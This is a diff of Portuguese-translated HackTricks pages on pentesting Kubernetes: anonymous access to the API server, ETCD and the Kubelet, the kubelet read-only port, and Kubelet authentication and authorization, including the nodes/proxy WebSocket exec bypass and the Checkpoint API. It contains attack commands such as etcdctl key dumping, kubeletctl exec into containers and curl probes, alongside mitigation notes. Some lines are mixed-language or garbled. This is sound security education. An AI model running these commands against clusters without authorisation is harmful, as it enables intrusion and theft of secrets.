@@ -130,30 +130,40 @@ kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
|
||||
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
|
||||
```
|
||||
Review:
|
||||
Revisar:
|
||||
|
||||
- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled.
|
||||
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
|
||||
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
|
||||
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
|
||||
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
|
||||
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
|
||||
- Namespaces ou workloads que optaram por não usar injection, ainda rodam sem proxy, ou foram criados antes de a injection ser habilitada.
|
||||
- Modo mTLS. Modos de migração permissive ainda podem aceitar plaintext de fontes sem mesh.
|
||||
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints e egress resources.
|
||||
- Linkerd policy resources, identity, objetos Server/authorization e superfícies expostas `linkerd-viz`, tap ou metrics.
|
||||
- Cilium service mesh e Gateway API resources, visibilidade do Hubble, Cilium policies e pontos de integração do Envoy.
|
||||
- Envoy admin, config dump, stats, metrics, tracing, dashboard e debug endpoints. Isso pode vazar routes, upstreams, certificates, identity e o estado do tráfego se expostos de forma ampla demais.
|
||||
|
||||
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
|
||||
Não trate service mesh como substituto para Kubernetes RBAC ou NetworkPolicies. Uma mesh policy pode bloquear uma requisição HTTP enquanto um Pod sem mesh, uma porta ignorada, um caminho direto por Pod IP, um gateway, um egress proxy ou a ausência de NetworkPolicy ainda deixam uma rota prática.
|
||||
|
||||
## Vulnerable Misconfigurations
|
||||
|
||||
### Kube-apiserver Anonymous Access
|
||||
|
||||
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
|
||||
O acesso anônimo às **kube-apiserver resource APIs não deve ser permitido**. Endpoints de saúde como `/livez`, `/readyz` e `/healthz` podem ser intencionalmente acessíveis, especialmente quando o API server usa `AuthenticationConfiguration` para restringir requisições anônimas a paths específicos. Trate respostas de health ou version como evidência de reachability; o problema crítico é uma resposta `200` para APIs reais de resource como namespaces, Secrets, Pods, objetos RBAC, metrics, logs ou subresources de proxy sem credenciais válidas.
|
||||
|
||||

|
||||
|
||||
### **Checking for ETCD Anonymous Access**
|
||||
Useful checks:
|
||||
```bash
|
||||
APISERVER='https://<api-server>:6443'
|
||||
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
|
||||
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
|
||||
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
|
||||
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
|
||||
```
|
||||
Se as resource APIs retornarem `403`, o API server pode ter classificado a solicitação como `system:anonymous`, mas a autorização a bloqueou. Se as resource APIs retornarem `200` sem credenciais, procure por RoleBindings ou ClusterRoleBindings para `system:anonymous` ou `system:unauthenticated`, configuração permissiva de authorizer-chain, ou um erro de autenticação na front-door.
|
||||
|
||||
O ETCD armazena os secrets do cluster, arquivos de configuração e outros dados **sensíveis**. Por **padrão**, o ETCD **não** pode ser acessado **anonimamente**, mas é sempre bom verificar.
|
||||
### **Verificando Acesso Anônimo ao ETCD**
|
||||
|
||||
Se o ETCD puder ser acessado anonimamente, talvez seja necessário **usar a** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. O seguinte comando obterá todas as keys armazenadas:
|
||||
O ETCD armazena os secrets do cluster, arquivos de configuração e outros dados **sensíveis**. **Por padrão**, o ETCD **não pode** ser acessado **anonimamente**, mas é sempre bom verificar.
|
||||
|
||||
Se o ETCD puder ser acessado anonimamente, talvez você precise **usar a** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. O seguinte comando obterá todas as keys armazenadas:
|
||||
```bash
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
@@ -161,15 +171,15 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
|
||||
A [**documentação do Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explica que, por **padrão, o acesso anônimo** ao serviço é **permitido:**
|
||||
|
||||
> Habilita requisições anônimas para o servidor Kubelet. Requisições que não forem rejeitadas por outro método de autenticação são tratadas como requisições anônimas. Requisições anônimas têm um nome de usuário `system:anonymous` e um nome de grupo `system:unauthenticated`
|
||||
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
|
||||
|
||||
Para entender melhor como a **autenticação e autorização da API do Kubelet funciona**, confira esta página:
|
||||
Para entender melhor como **funciona a autenticação e autorização da API do Kubelet** confira esta página:
|
||||
|
||||
{{#ref}}
|
||||
kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
O **Kubelet** serviço **API não é documentado**, mas o código-fonte pode ser encontrado aqui e descobrir os endpoints expostos é tão fácil quanto **executar**:
|
||||
A **API** do serviço **Kubelet não é documentada**, mas o código-fonte pode ser encontrado aqui e descobrir os endpoints expostos é tão fácil quanto **executar**:
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
|
||||
|
||||
@@ -183,28 +193,28 @@ Path("/runningpods/").
|
||||
```
|
||||
Todos eles parecem interessantes.
|
||||
|
||||
Você pode usar a ferramenta [**Kubeletctl**](https://github.com/cyberark/kubeletctl) para interagir com Kubelets e seus endpoints.
|
||||
Você pode usar a ferramenta [**Kubeletctl**](https://github.com/cyberark/kubeletctl) para interagir com os Kubelets e seus endpoints.
|
||||
|
||||
#### /pods
|
||||
|
||||
Este endpoint lista pods e seus containers:
|
||||
Este endpoint lista os pods e seus containers:
|
||||
```bash
|
||||
kubeletctl pods
|
||||
```
|
||||
#### /exec
|
||||
|
||||
Este endpoint permite executar código dentro de qualquer container de forma muito fácil:
|
||||
Este endpoint permite executar código dentro de qualquer container muito facilmente:
|
||||
```bash
|
||||
kubeletctl exec [command]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Para evitar este attack, o serviço _**kubelet**_ deve ser executado com `--anonymous-auth false` e o serviço deve ser segregado no nível de network.
|
||||
> Para evitar este attack, o serviço _**kubelet**_ deve ser executado com `--anonymous-auth false` e o serviço deve ser segregado no nível de rede.
|
||||
|
||||
### **Checking Kubelet (Read Only Port) Information Exposure**
|
||||
### **Verificando Exposure de Informações do Kubelet (Read Only Port)**
|
||||
|
||||
Quando uma **porta kubelet read-only** está exposta, torna-se possível que informações sejam recuperadas da API por partes não autorizadas. A exposição desta porta pode levar à divulgação de vários **cluster configuration elements**. Embora as informações, incluindo **pod names, locations of internal files, and other configurations**, possam não ser críticas, sua exposição ainda representa um risco de segurança e deve ser evitada.
|
||||
Quando um **kubelet read-only port** está exposto, torna-se possível que informações sejam recuperadas da API por partes não autorizadas. A exposição desta porta pode levar à divulgação de vários **cluster configuration elements**. Embora as informações, incluindo **pod names, locations of internal files, and other configurations**, possam não ser críticas, sua exposição ainda representa um risco de segurança e deve ser evitada.
|
||||
|
||||
Um exemplo de como esta vulnerability pode ser explorada envolve um remote attacker acessando uma URL específica. Ao navegar para `http://<external-IP>:10255/pods`, o attacker pode potencialmente recuperar informações sensíveis do kubelet:
|
||||
Um exemplo de como essa vulnerability pode ser explorada envolve um atacante remoto acessando uma URL específica. Ao navegar para `http://<external-IP>:10255/pods`, o atacante pode potencialmente recuperar informações sensíveis do kubelet:
|
||||
|
||||

|
||||
|
||||
|
||||
+47
-32
@@ -1,24 +1,24 @@
|
||||
# Autenticação e Autorização do Kubelet
|
||||
# Kubelet Authentication & Authorization
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Autenticação do Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Por padrão, solicitações ao endpoint HTTPS do kubelet que não sejam rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário `system:anonymous`** e um **grupo `system:unauthenticated`**.
|
||||
Por padrão, requests para o endpoint HTTPS do kubelet que não são rejeitados por outros métodos de authentication configurados são tratados como requests anônimos, e recebem um **username de `system:anonymous`** e um **group de `system:unauthenticated`**.
|
||||
|
||||
Os **3** métodos de autenticação são:
|
||||
Os **3** **methods** de authentication são:
|
||||
|
||||
- **Anonymous** (default): Defina o parâmetro **`--anonymous-auth=true`** ou a configuração:
|
||||
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` ou the config:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Isto irá **habilitar** os API bearer tokens do kubectl como autorização (qualquer token válido será aceito). Permita-o com:
|
||||
- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` esteja habilitado no API server
|
||||
- **Webhook**: Isso irá **habilitar** os kubectl **API bearer tokens** como autorização (qualquer token válido será válido). Permita isso com:
|
||||
- garanta que o grupo de API `authentication.k8s.io/v1beta1` esteja habilitado no API server
|
||||
- inicie o kubelet com as flags **`--authentication-token-webhook`** e **`--kubeconfig`** ou use a seguinte configuração:
|
||||
```json
|
||||
"authentication": {
|
||||
@@ -30,9 +30,9 @@ Os **3** métodos de autenticação são:
|
||||
> [!NOTE]
|
||||
> O kubelet chama a **`TokenReview` API** no API server configurado para **determinar informações do usuário** a partir de bearer tokens
|
||||
|
||||
- **X509 client certificates:** Permitem autenticação via X509 client certs
|
||||
- **X509 client certificates:** Permitem autenticar via X509 client certs
|
||||
- veja a [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes
|
||||
- inicie o kubelet com a flag `--client-ca-file`, fornecendo um CA bundle para verificar certificados de cliente. Ou com a config:
|
||||
- inicie o kubelet com a flag `--client-ca-file`, fornecendo um CA bundle para verificar client certificates. Ou com a config:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@ Os **3** métodos de autenticação são:
|
||||
}
|
||||
}
|
||||
```
|
||||
## Autorização do Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Qualquer requisição que seja autenticada com sucesso (incluindo uma requisição anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as requisições**.
|
||||
Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**.
|
||||
|
||||
No entanto, o outro valor possível é **`webhook`** (que é o que você **principalmente encontrará por aí**). Este modo irá **verificar as permissões do usuário autenticado** para permitir ou negar uma ação.
|
||||
However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter nenhuma permissão** para executar qualquer ação.
|
||||
> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
|
||||
|
||||
A autorização via webhook pode ser configurada usando o **param `--authorization-mode=Webhook`** ou via o arquivo de configuração com:
|
||||
The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,21 +59,21 @@ A autorização via webhook pode ser configurada usando o **param `--authorizati
|
||||
}
|
||||
},
|
||||
```
|
||||
O kubelet chama a API **`SubjectAccessReview`** no API server configurado para **determinar** se cada requisição está **autorizada.**
|
||||
O kubelet chama a API **`SubjectAccessReview`** no API server configurado para **determinar** se cada request está **authorized.**
|
||||
|
||||
O kubelet autoriza API requests usando a mesma abordagem de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver:
|
||||
O kubelet autoriza requests da API usando a mesma abordagem de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver:
|
||||
|
||||
- **Ação**
|
||||
- **Action**
|
||||
|
||||
| Verbo HTTP | verbo de requisição |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- O **resource** que fala com a Kubelet api é **sempre** **nodes** e o **subresource** é **determinado** a partir do caminho da requisição de entrada:
|
||||
- O **resource** que fala com a Kubelet api é **sempre** **nodes** e o **subresource** é **determined** a partir do path da request recebida:
|
||||
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
@@ -81,23 +81,38 @@ O kubelet autoriza API requests usando a mesma abordagem de [request attributes]
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| /checkpoint/\* | nodes | checkpoint |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
Em clusters modernos, a autorização granularity fina do kubelet está habilitada por padrão. O Kubernetes v1.36 tornou isso stable: o kubelet primeiro verifica subresources mais específicos para paths como `/pods`, `/runningPods`, `/healthz` e `/configz` antes de cair para `nodes/proxy` por backward compatibility.
|
||||
|
||||
Por exemplo, a requisição a seguir tentou acessar as informações dos pods do kubelet sem permissão:
|
||||
| Kubelet API | preferred subresource | fallback |
|
||||
| ----------- | --------------------- | -------- |
|
||||
| /pods | nodes/pods | nodes/proxy |
|
||||
| /runningPods/ | nodes/pods | nodes/proxy |
|
||||
| /healthz | nodes/healthz | nodes/proxy |
|
||||
| /configz | nodes/configz | nodes/proxy |
|
||||
|
||||
Use esses subresources mais restritos para monitoring e diagnostics quando possível. Evite conceder `nodes/proxy` amplo para métricas, stats, health, listagem de pods ou revisão de config, porque `nodes/proxy` ainda cobre APIs do kubelet de maior impacto.
|
||||
|
||||
> [!NOTE]
|
||||
> `/exec`, `/run`, `/attach` e `/portforward` baseados em WebSocket caem no subresource padrão **proxy** e são authorized usando o handshake HTTP **GET** inicial. Um principal com apenas `nodes/proxy` **GET** ainda pode executar containers se conectar diretamente a `https://<node_ip>:10250` via WebSockets. Veja o [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) para detalhes.
|
||||
|
||||
A Kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) é outra superfície sensível do kubelet. O Kubernetes v1.30 tornou o container checkpointing beta e habilitado por padrão, mas uma request ainda depende de autorização do kubelet e do suporte do runtime, como CRI-O ou containerd com capacidade de checkpoint/CRIU. Checkpoints bem-sucedidos são gravados abaixo do diretório raiz do kubelet, por padrão `/var/lib/kubelet/checkpoints`, e podem conter memória de processo com tokens, keys ou secrets da aplicação. Restrinja `nodes/checkpoint`, desative a antiga porta read-only, limite a reachability direta à rede do kubelet e monitore ou limpe arquivos de checkpoint se o recurso for usado intencionalmente.
|
||||
|
||||
Por exemplo, a request a seguir tentou acessar as informações de pods do kubelet sem permissão:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Recebemos um **Forbidden**, então a solicitação **passou a verificação de Authentication**. Caso contrário, teríamos recebido apenas a mensagem `Unauthorised`.
|
||||
- Podemos ver o **username** (neste caso a partir do token)
|
||||
- Repare como o **resource** foi **nodes** e o **subresource** **proxy** (o que faz sentido com a informação anterior)
|
||||
- Obtivemos um **Forbidden**, então a solicitação **passou na verificação de Authentication**. Se não, teríamos recebido apenas uma mensagem `Unauthorised`.
|
||||
- Podemos ver o **username** (neste caso, do token)
|
||||
- Verifique como o **resource** era **nodes** e o **subresource** **proxy** (o que faz sentido com a informação anterior)
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user